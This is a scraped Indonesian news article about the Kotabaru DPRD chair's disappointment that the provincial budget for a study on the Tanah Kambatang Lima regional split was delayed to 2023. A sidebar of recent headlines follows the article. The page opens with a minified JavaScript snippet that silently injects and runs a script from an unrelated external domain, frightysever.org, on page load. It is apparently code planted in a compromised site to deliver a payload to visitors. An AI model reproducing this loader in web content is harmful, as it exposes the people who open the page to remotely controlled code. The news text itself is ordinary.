(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

Ketua DPRD Kotabaru Tanggapi Anggaran Kajian Tidak Bisa Direalisasikan Pada 2022


KANALKALIMANTAN.COM, KOTABARU – Ketua DPRD Kotabaru, Syairi Mukhlis, menyayangkan anggaran kajian Tanah Kambatang Lima ternyata tidak bisa di realisasikan di 2022.

Hal ini karena proses pembahasan APBD perubahan di Provinsi Kalimantan Selatan terjadi mis antara SKPD terkait dengan Bappeda serta Bakeuda.

“Dana kajian Calon Otonomi Daerah Baru (CODB) Tanah Kambatang Lima belum bisa terealisasi dalam APBD Perubahan di tahun 2022 yang tentu berdampak pada rencana kajian yang akan dilaksanakan,” tutur Syairi Mukhlis, Senin (14/11/2022).

Hal tersebut disampaikan olehnya pada saat menggelar Rapat Dengar Pendapat (RDP) bersama tim pemekaran Tanah Kambatang lima dengan DPRD Provinsi Kalsel di Banjarmasin.

 

Baca juga  : Finish Posisi ke-4 di Porprov XI Kalsel, Aditya: Atlet Peraih Medali Akan Terima Bonus

Merujuk pada hasil RDP pada 23 Desember 2021 lalu, disepakati bahwa provinsi akan menganggarkan dana kajian sebesar Rp 250 juta yang akan masuk dalam APBD perubahan tahun 2022.

“Nah dalam prosesnya ternyata dana tersebut tidak terealisasi di tahun 2022, yang menimbulkan kekecewaan dan kerugian tim penuntut percepatan pemekaran Takam Lima.

Mestinya di tahun 2022 ini kajian dokumen pemekaran itu sudah selesai dikerjakan, namun kembali mundur ke tahun 2023,” jelas dia.

Dia mengatakan lebih jauh, pastinya akan ada keterlambatan waktu dalam menyampaikan dokumen pemekaran kepada pemerintah pusat, melalui pemerintah provinsi, dan nanti juga akan ada surat rekomendasi DPRD Provinsi Kalsel dan gubernur Kalimantan Selatan selaku perpanjangan tangan dari pemerintah pusat.

Baca juga  : 70 Peserta Ikuti Seleksi Beasiswa Tahfiz Qur’an Disdikbud Balangan

Selain itu, hasil rapat yang digelar pun kemudian akan dijadikan rujukan saat tim Banggar DPRD provinsi dan TAPD untuk mengakomodir dan merealisasikan pada APBD 2023.

“Mudah-mudahan tidak ada masalah lagi. Kita yakin di tahun 2023 semua kajian ini akan clear dan bisa rampung sehingga bisa diserahkan ke pemerintah provinsi,” tutup dia. (Kanalkalimantan.com/muhammad)

Reporter : Muhammad
Editor : Dhani


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.